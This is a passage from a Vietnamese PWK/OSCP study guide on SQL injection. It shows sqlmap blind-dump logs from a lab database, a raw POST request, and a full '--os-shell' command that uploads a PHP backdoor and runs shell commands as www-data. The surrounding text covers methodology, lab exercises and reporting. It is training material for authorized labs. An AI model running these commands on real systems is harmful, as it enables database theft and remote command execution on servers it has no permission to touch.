[14:23:52] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[14:23:52] [INFO] fetching current database
[02:23:52 PM] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[14:25:26] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[14:25:26] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[14:25:47] [INFO] adjusting time delay to 2 seconds due to good response times
offsec
[14:27:01] [INFO] fetching tables for database: 'offsec'
[14:27:01] [INFO] fetching number of tables for database 'offsec'
[02:27:01 PM] [INFO] retrieved: 2
[02:27:11 PM] [INFO] retrieved: customers
[02:29:25 PM] [INFO] retrieved: users
[14:30:38] [INFO] fetching columns for table 'users' in database 'offsec'
[02:30:38 PM] [INFO] retrieved: 4
[02:30:44 PM] [INFO] retrieved: id
[02:31:14 PM] [INFO] retrieved: username
[02:33:02 PM] [INFO] retrieved: password
[02:35:09 PM] [INFO] retrieved: description
[14:37:56] [INFO] fetching entries for table 'users' in database 'offsec'
[14:37:56] [INFO] fetching number of entries for table 'users' in database 'offsec'
[02:37:56 PM] [INFO] retrieved: 4
[02:38:02 PM] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[14:38:24] [INFO] adjusting time delay to 1 second due to good response times
this is the admin
[02:40:54 PM] [INFO] retrieved: 1
[02:41:02 PM] [INFO] retrieved: 21232f297a57a5a743894a0e4a801fc3
[02:46:34 PM] [INFO] retrieved: admin
[02:47:15 PM] [INFO] retrieved: try harder
[02:48:44 PM] [INFO] retrieved: 2
[02:48:54 PM] [INFO] retrieved: f9664ea1803311b35f
...Vì sao blind dump chậm?
- Mỗi bit/ký tự có thể cần nhiều câu hỏi TRUE/FALSE hoặc nhiều delay.
- SLEEP trong payload làm tăng thời gian cho từng request.
- Retry, jitter và session handling kéo dài quá trình.
- Chỉ dump database/table cần thiết thay vì toàn bộ nếu mục tiêu là chứng minh finding.
Tại sao dùng raw POST request?
- UNION-based example dùng endpoint POST và cần cookie/session.
- Burp có thể chặn request hoàn chỉnh gồm headers, body và parameter.
- Lưu request vào file giúp sqlmap tái tạo đúng ngữ cảnh ứng dụng.
- Tool có thể được chỉ định parameter cụ thể bằng -p.
Raw POST request lưu từ Burp
POST
/search.php
HTTP/1.1
Host: 192.168.50.19
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://192.168.50.19
Connection: close
Referer: http://192.168.50.19/search.php
Cookie: PHPSESSID=vchu1sfs34oosl52l7pb1kag7d
Upgrade-Insecure-Requests: 1
item=testXây lệnh os-shell từ request
| Tùy chọn | Giá trị trong tài liệu | Vai trò |
|---|---|---|
| -r | post.txt | Đọc raw HTTP request. |
| -p | item | Parameter bị SQLi. |
| --os-shell | Bật | Yêu cầu interactive OS shell. |
| --web-root | /var/www/html/tmp | Thư mục web writable đã xác minh. |
sqlmap tạo os-shell
kali@kali:~$
sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp"
...
[*] starting @ 02:20:47 PM /2022-05-19/
[14:20:47] [INFO] parsing HTTP request from 'post'
[14:20:47] [INFO] resuming back-end DBMS 'mysql'
[14:20:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: item (POST)
...
---
[14:20:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52
back-end DBMS: MySQL >= 5.6
[14:20:48] [INFO] going to use a web backdoor for command prompt
[14:20:48] [INFO] fingerprinting the back-end DBMS operating system
[14:20:48] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>
4
[14:20:49] [INFO] using '/var/www/html/tmp' as web server document root
[14:20:49] [INFO] retrieved web server absolute paths: '/var/www/html/search.php'
[14:20:49] [INFO] trying to upload the file stager on '/var/www/html/tmp/' via LIMIT 'LINES TERMINATED BY' method
[14:20:50] [WARNING] unable to upload the file stager on '/var/www/html/tmp/'
[14:20:50] [INFO] trying to upload the file stager on '/var/www/html/tmp/' via UNION method
[14:20:50] [WARNING] expect junk characters inside the file as a leftover from UNION query
[14:20:50] [INFO] the remote file '/var/www/html/tmp/tmpuqgek.php' is larger (713 B) than the local file '/tmp/sqlmapxkydllxb82218/tmp3d64iosz' (709B)
[14:20:51] [INFO] the file stager has been successfully uploaded on '/var/www/html/tmp/' - http://192.168.50.19:80/tmp/tmpuqgek.php
[14:20:51] [INFO] the backdoor has been successfully uploaded on '/var/www/html/tmp/' - http://192.168.50.19:80/tmp/tmpbetmz.php
[14:20:51] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
id
do you want to retrieve the command standard output? [Y/n/a]
y
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell>
pwd
do you want to retrieve the command standard output? [Y/n/a]
y
command standard output: '/var/www/html/tmp'Các prompt quan trọng của sqlmap
- Xác nhận redirect và cookie/session.
- Chọn ngôn ngữ web application, trong ví dụ là PHP.
- Xác định directory writable và web root.
- Theo dõi injection point mà tool resume từ session cũ.
- Kiểm tra command output trong os-shell.
Manual và automated: dùng khi nào?
| Tình huống | Thủ công | sqlmap |
|---|---|---|
| Nhận diện ban đầu | Ưu tiên. | Không nên là bước đầu. |
| Hiểu query/context | Rất tốt. | Output có thể che mất cơ chế. |
| Blind enumeration dài | Tốn thời gian. | Phù hợp hơn. |
| Low stealth | Có thể kiểm soát request. | Không phù hợp. |
| Lặp lại/dump | Khó và dễ sai. | Tự động hóa tốt. |
| Báo cáo root cause | Cần thiết. | Chỉ hỗ trợ bằng chứng. |
Bài thực hành và capstone
MSSQL
Bật xp_cmdshell và xác định option phụ thuộc.
MySQL manual
Dùng UNION/OUTFILE để tạo webshell trong lab.
sqlmap
Nhận diện time-based blind và dump table users.
4 Capstone VMs
Enumeration và exploit SQLi để tìm flag trong phạm vi lab.
Wrapping Up
Wrapping Up
Tổng hợp quy trình nhận diện, enumeration, khai thác và tự động hóa SQL injection theo phương pháp có hệ thống.
Chuỗi kỹ thuật hoàn chỉnh
Thông tin cần ghi vào notes
Bằng chứng cho báo cáo
| Loại bằng chứng | Nên chứa | Không nên chứa |
|---|---|---|
| SQLi detection | Baseline và quote/error response. | Hàng loạt payload không liên quan. |
| Authentication bypass | Payload và trạng thái đăng nhập thành công. | Credential thật không cần thiết. |
| Data access | Một vài record hoặc metadata đủ chứng minh. | Dump toàn bộ dữ liệu khách hàng. |
| Blind SQLi | TRUE/FALSE hoặc latency lặp lại ổn định. | Một lần delay đơn lẻ. |
| RCE | Command an toàn và execution identity. | Thao tác phá hoại/persistence ngoài scope. |
| Automation | Command, request file và output chính. | Log quá dài không chú thích. |
Sai lầm thường làm mất thời gian
Dùng sqlmap quá sớm
Tạo nhiều traffic nhưng chưa hiểu parameter và session.
Đoán số cột
Không dùng ORDER BY hoặc NULL để xác minh.
Bỏ qua type
UNION đúng count nhưng sai kiểu dữ liệu.
Comment sai
Thiếu whitespace hoặc dùng cú pháp sai DBMS.
Nhầm database root
Đánh đồng DB user với OS root.
Nhầm error
Cho rằng file write thất bại chỉ vì frontend báo lỗi.
Checklist trước khi kết thúc
Tài nguyên học tập PWK / OSCP
Sách, video và tài liệu tiếng Việt hỗ trợ học PWK / OSCP
Tiếp tục học theo lộ trình, xem lại các chương và thực hành trong môi trường lab được ủy quyền.
security365.vn/pwk-oscp/Tài Liệu Học Tập PWK · Chương 10 — SQL Injection Attacks